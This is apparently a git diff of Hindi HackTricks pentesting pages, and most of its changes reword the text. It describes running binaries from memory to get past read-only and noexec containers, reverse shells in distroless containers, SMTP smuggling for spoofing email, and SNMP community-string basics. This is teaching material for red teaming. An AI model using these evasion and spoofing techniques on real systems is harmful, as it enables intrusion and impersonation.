* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
{% embed url="https://www.stmcyber.com/careers" %}
## वीडियो
निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं:
निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लखित तकनीकों को अधिक गहराई से समझ सकते हैं:
* [**DEF CON 31 - Linux मेमोरी हेरफेर का अन्वेषण करना**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## केवल पढ़ने के लिए / कोई निष्पादन नहीं परिदृश्य
यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें **केवल पढ़ने के लिए (ro) फ़ाइल प्रणाली सुरक्षा** के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करने जितना आसान है:
यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें **केवल पढ़ने के लिए (ro) फ़ाइल प्रणाली सुरक्षा** के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ एक कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करने जितना आसान है:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -45,7 +45,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
हालांकि, भले ही फ़ाइल प्रणाली ro के रूप में माउंट की गई हो, **`/dev/shm`** अभी भी लिखने योग्य होगा, इसलिए यह गलत है कि हम डिस्क में कुछ भी नहीं लिख सकते। हालाँकि, यह फ़ोल्डर **कोई निष्पादन सुरक्षा** के साथ माउंट किया जाएगा, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं, तो आप **इसे निष्पादित नहीं कर पाएंगे**
हालांकि, भले ही फ़ाइल प्रणाली को ro के रूप में माउंट किया गया हो, **`/dev/shm`** अभी भी लिखने योग्य होगा, इसलिए यह गलत है कि हम डिस्क में कुछ भी नहीं लिख सकते। हालाँकि, यह फ़ोल्डर **कोई निष्पादन सुरक्षा** के साथ माउंट किया जाएगा, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं, तो आप **इसे निष्पादित नहीं कर पाएंगे**
{% hint style="warning" %}
रेड टीम के दृष्टिकोण से, यह **बाइनरी डाउनलोड और निष्पादित करना जटिल बनाता है** जो पहले से सिस्टम में नहीं हैं (जैसे बैकडोर या `kubectl` जैसे एन्यूमरेटर)।
@ -53,22 +53,22 @@ securityContext:
## सबसे आसान बायपास: स्क्रिप्ट
ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं** जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि **शेल स्क्रिप्ट** यदि `sh` मौजूद है या **पायथन** **स्क्रिप्ट** यदि `python` स्थापित है।
ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं** जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि **शेल स्क्रिप्ट** यदि `sh` मौजूद है या एक **पायथन** **स्क्रिप्ट** यदि `python` स्थापित है।
हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी टूल्स को चलाने के लिए पर्याप्त नहीं है।
हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी उपकरणों को चलाने के लिए पर्याप्त नहीं है।
## मेमोरी बायपास
यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **इसे मेमोरी से निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**
यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **मेमोरी से इसे निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**
### FD + exec syscall बायपास
यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **Python**, **Perl**, या **Ruby**, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (`create_memfd` syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर **`exec` syscall** को कॉल कर सकते हैं, जिसमें **fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित किया गया है**।
यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **Python**, **Perl**, या **Ruby**, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (`create_memfd` syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर **`exec` syscall** को कॉल कर सकते हैं जो **fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित करता है**।
इसके लिए आप आसानी से प्रोजेक्ट [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह निर्दिष्ट भाषा में एक स्क्रिप्ट उत्पन्न करेगा जिसमें **बाइनरी संकुचित और b64 एन्कोडेड** होगी और इसे **डिकोड और अनकंप्रेस** करने के लिए निर्देश होंगे एक **fd** में जो `create_memfd` syscall को कॉल करके बनाया गया है और इसे चलाने के लिए **exec** syscall को कॉल किया गया है।
{% hint style="warning" %}
यह अन्य स्क्रिप्टिंग भाषाओं जैसे PHP या Node में काम नहीं करता क्योंकि उनके पास स्क्रिप्ट से कच्चे syscalls को कॉल करने का कोई डिफ़ॉल्ट तरीका नहीं है, इसलिए `create_memfd` को कॉल करके **मेमोरी fd** बनाना संभव नहीं है।
यह अन्य स्क्रिप्टिंग भाषाओं जैसे PHP या Node में काम नहीं करता क्योंकि उनके पास स्क्रिप्ट से कच्चे syscalls को कॉल करने का कोई डिफ़ॉल्ट तरीका नहीं है, इसलिए `create_memfd` को कॉल करके **मेमोरी fd** बनाने की संभावना नहीं है।
इसके अलावा, `/dev/shm` में एक फ़ाइल के साथ एक **नियमित fd** बनाना काम नहीं करेगा, क्योंकि आपको इसे चलाने की अनुमति नहीं होगी क्योंकि **कोई निष्पादन सुरक्षा** लागू होगी।
{% endhint %}
@ -77,10 +77,10 @@ securityContext:
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) एक तकनीक है जो आपको **अपने स्वयं के प्रोसेस की मेमोरी को संशोधित करने** की अनुमति देती है, इसके **`/proc/self/mem`** को ओवरराइट करके।
इसलिए, **प्रक्रिया द्वारा निष्पादित असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को "म्यूट" कर सकते हैं ताकि **कोई भी मनमाना कोड निष्पादित किया जा सके**
इसलिए, **प्रक्रिया द्वारा निष्पादित असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को "म्यूटेट" कर सकते हैं ताकि **कोई भी मनमाना कोड निष्पादित किया जा सके**
{% hint style="success" %}
**DDexec / EverythingExec** आपको **मेमोरी** से अपने स्वयं के **शेलकोड** या **कोई बाइनरी** लोड और **निष्पादित** करने की अनुमति देगा।
**DDexec / EverythingExec** आपको **मेमोरी** से अपने स्वयं के **शेलकोड** या **किसी भी बाइनरी** को लोड और **निष्पादित** करने की अनुमति देगा।
{% endhint %}
```bash
# Basic example
@ -100,7 +100,7 @@ For more information about this technique check the Github or:
### Memdlopen
DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक **बाइनरी को लोड करने का एक आसान तरीका** प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।
DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक **बाइनरी को लोड करने का एक आसान तरीका** प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह यहां तक कि निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।
## Distroless Bypass
@ -112,13 +112,13 @@ Distroless कंटेनरों का लक्ष्य **अनावश
### Reverse Shell
एक distroless कंटेनर में आप **शायद `sh` या `bash` भी नहीं पाएंगे** ताकि एक नियमित शेल प्राप्त किया जा सके। आप `ls`, `whoami`, `id` जैसे बाइनरी भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं।
एक distroless कंटेनर में आप **शायद `sh` या `bash` भी नहीं पाएंगे** ताकि एक नियमित शेल प्राप्त किया जा सके। आप `ls`, `whoami`, `id` जैसे बाइनरी भी नहीं पाएंगे... सब कुछ जो आप आमतौर पर एक सिस्टम में चलाते हैं।
{% hint style="warning" %}
इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं** होंगे जैसे आप आमतौर पर करते हैं।
इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं होंगे** जैसे आप आमतौर पर करते हैं।
{% endhint %}
हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश किसी भी **स्क्रिप्टिंग भाषा** के साथ यही स्थिति है।
हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषा** के साथ भी यही है।
{% hint style="success" %}
स्क्रिप्टिंग भाषा का उपयोग करके आप **सिस्टम की गणना** कर सकते हैं भाषा की क्षमताओं का उपयोग करके।
@ -132,15 +132,15 @@ Distroless कंटेनरों का लक्ष्य **अनावश
आप [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) पर **कुछ RCE कमजोरियों का शोषण करने** के उदाहरण पा सकते हैं ताकि स्क्रिप्टिंग भाषाओं के **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें।
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -148,7 +148,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करे।**
* **हैकिंग ट्रिक्स साझा करें PRs को [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करे।**
</details>
{% endhint %}

View file

@ -17,22 +17,22 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Basic Information
इस प्रकार की भेद्यता [**इस पोस्ट में मूल रूप से खोजी गई थी**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) जहां यह समझाया गया है कि ईमेल को अंतिम रूप देने के समय SMTP प्रोटोकॉल की व्याख्या में असमानताओं का **शोषण करना संभव है**, जिससे एक हमलावर को वैध ईमेल के शरीर में अधिक ईमेल को स्मगल करने की अनुमति मिलती है, जिससे प्रभावित डोमेन के अन्य उपयोगकर्ताओं (जैसे admin@outlook.com) का अनुकरण किया जा सकता है, SPF जैसी सुरक्षा को बायपास करते हुए।
इस प्रकार की भेद्यता [**इस पोस्ट में मूल रूप से खोजी गई थी**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) जहां यह समझाया गया है कि ईमेल को अंतिम रूप देने के समय SMTP प्रोटोकॉल की व्याख्या में असमानताओं का **शोषण करना संभव है**, जिससे एक हमलावर को वैध ईमेल के शरीर में अधिक ईमेल को स्मगल करने की अनुमति मिलती है, जिससे प्रभावित डोमेन के अन्य उपयोगकर्ताओं (जैसे admin@outlook.com) की नकल की जा सकती है, SPF जैसी सुरक्षा को बायपास करते हुए।
### Why
यह इस कारण से है कि SMTP प्रोटोकॉल में, ईमेल में भेजे जाने वाले **संदेश का डेटा** एक उपयोगकर्ता (हमलावर) द्वारा नियंत्रित किया जाता है जो विशेष रूप से तैयार किए गए डेटा को भेज सकता है जो पार्सर्स में भिन्नताओं का शोषण करता है जो रिसेप्टर में अतिरिक्त ईमेल को स्मगल करेगा। इस मूल पोस्ट से इस चित्रित उदाहरण पर एक नज़र डालें:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### How
इस भेद्यता का शोषण करने के लिए, एक हमलावर को कुछ डेटा भेजने की आवश्यकता होती है जिसे **आउटबाउंड SMTP सर्वर केवल 1 ईमेल समझता है लेकिन इनबाउंड SMTP सर्वर सोचता है कि कई ईमेल हैं**
इस भेद्यता का शोषण करने के लिए एक हमलावर को कुछ डेटा भेजने की आवश्यकता होती है जिसे **आउटबाउंड SMTP सर्वर केवल 1 ईमेल समझता है लेकिन इनबाउंड SMTP सर्वर सोचता है कि कई ईमेल हैं**
शोधकर्ताओं ने खोजा कि विभिन्न **इनबाउंड सर्वर विभिन्न वर्णों को ईमेल संदेश के डेटा के अंत के रूप में मानते हैं** जो आउटबाउंड सर्वर नहीं करते।\
उदाहरण के लिए, डेटा का सामान्य अंत `\r\n.\r` है। लेकिन यदि इनबाउंड SMTP सर्वर `\n.` का भी समर्थन करता है, तो एक हमलावर बस **उस डेटा को अपने ईमेल में जोड़ सकता है और नए ईमेल को स्मगल करने के लिए SMTP कमांड को इंगित करना शुरू कर सकता है** जैसे कि पिछले चित्र में।
बेशक, यह केवल तभी काम कर सकता है यदि **आउटबाउंड SMTP सर्वर इस डेटा को** संदेश डेटा के अंत के रूप में नहीं मानता है, क्योंकि उस मामले में यह केवल 1 के बजाय 2 ईमेल देखेगा, इसलिए अंत में यह असंगति है जिसका इस भेद्यता में शोषण किया जा रहा है।
बेशक, यह केवल तभी काम कर सकता है यदि **आउटबाउंड SMTP सर्वर इस डेटा को भी संदेश डेटा के अंत के रूप में नहीं मानता है**, क्योंकि उस मामले में यह केवल 1 के बजाय 2 ईमेल देखेगा, इसलिए अंत में यह असंगति है जिसका इस भेद्यता में शोषण किया जा रहा है।
संभावित असंगति डेटा:

View file

@ -1,8 +1,8 @@
# 161,162,10161,10162/udp - Pentesting SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Information
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
**SNMP - सरल नेटवर्क प्रबंधन प्रोटोकॉल** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
```
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@ -34,8 +34,8 @@ SNMP भी **162/UDP** पोर्ट का उपयोग **ट्रैप
### MIB
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के बीच काम करता है, **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस की जानकारी को संग्रहीत करता है**। एक MIB एक **टेक्स्ट** फ़ाइल है जिसमें एक डिवाइस के सभी क्वेरी करने योग्य **SNMP ऑब्जेक्ट्स** को एक **मानकीकृत** पेड़ पदानुक्रम में सूचीबद्ध किया गया है। इसमें कम से कम एक `ऑब्जेक्ट आइडेंटिफायर` (`OID`) होता है, जो आवश्यक **विशिष्ट पते** और एक **नाम** के अलावा, संबंधित ऑब्जेक्ट के प्रकार, एक्सेस अधिकारों और विवरण के बारे में जानकारी भी प्रदान करता है।\
MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII टेक्स्ट प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे बताते हैं **कहाँ कौन सी जानकारी मिलेगी** और वह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के बीच काम करता है, **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस की जानकारी को संग्रहीत करता है**। एक MIB एक **पाठ** फ़ाइल है जिसमें एक डिवाइस के सभी क्वेरी करने योग्य **SNMP ऑब्जेक्ट्स** को एक **मानकीकृत** पेड़ पदानुक्रम में सूचीबद्ध किया गया है। इसमें कम से कम एक `ऑब्जेक्ट आइडेंटिफायर` (`OID`) होता है, जो आवश्यक **विशिष्ट पते** और एक **नाम** के अलावा, संबंधित ऑब्जेक्ट के प्रकार, पहुंच अधिकारों और विवरण के बारे में जानकारी भी प्रदान करता है।\
MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII पाठ प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे बताते हैं **कहाँ कौन सी जानकारी मिलेगी** और वह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
### OIDs
@ -60,8 +60,8 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
* 1 इसे ISO कहा जाता है और यह स्थापित करता है कि यह एक OID है। यही कारण है कि सभी OIDs "1" से शुरू होते हैं।
* 3 इसे ORG कहा जाता है और इसका उपयोग उस संगठन को निर्दिष्ट करने के लिए किया जाता है जिसने डिवाइस बनाया।
* 6 यह dod या रक्षा विभाग है जो वह संगठन है जिसने सबसे पहले इंटरनेट स्थापित किया।
* 1 यह इंटरनेट का मान है जो यह दर्शाता है कि सभी संचार इंटरनेट के माध्यम से होंगे
* 6 यह DOD या रक्षा विभाग है जो वह संगठन है जिसने सबसे पहले इंटरनेट स्थापित किया।
* 1 यह इंटरनेट का मान है जो यह दर्शाता है कि सभी संचार इंटरनेट के माध्यम से होगा
* 4 यह मान निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और न कि सरकारी।
* 1 यह मान दर्शाता है कि डिवाइस एक उद्यम या व्यवसाय इकाई द्वारा बनाया गया है।
@ -75,7 +75,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
* 5 एक डिस्क्रीट अलार्म पॉइंट को दर्शाता है।
* 5 एक विशिष्ट अलार्म बिंदु को दर्शाता है।
* 1 डिवाइस में विशिष्ट बिंदु
* 3 पोर्ट
* 21 पोर्ट का पता
@ -87,8 +87,8 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
SNMP के 2 महत्वपूर्ण संस्करण हैं:
* **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग पर आधारित है** (कम्युनिटी स्ट्रिंग) जो **सादा पाठ** में यात्रा करता है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
* **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग** (कम्युनिटी स्ट्रिंग) पर आधारित है जो **सादा पाठ** में यात्रा करता है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( **शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
### कम्युनिटी स्ट्रिंग्स
@ -98,8 +98,8 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
* **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
* **`private`** **पढ़ने/लिखने** में सामान्य
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहाँ तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, वहाँ **ऐसे ऑब्जेक्ट्स हो सकते हैं जो हमेशा "पढ़ने के लिए केवल" होते हैं।**\
यदि आप किसी ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो एक **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहाँ तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, वहाँ **ऐसे ऑब्जेक्ट्स** हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
यदि आप क ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो एक **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो एक **मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**
@ -108,7 +108,7 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
* SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
* प्रबंधक पोर्ट **162** पर सूचनाएँ प्राप्त करता है ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))।
* प्रबंधक पोर्ट **162** पर सूचनाएँ ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है
* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएँ पोर्ट **10162** पर भेजी जाती हैं।
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
@ -117,7 +117,7 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
## SNMP की गणना करना
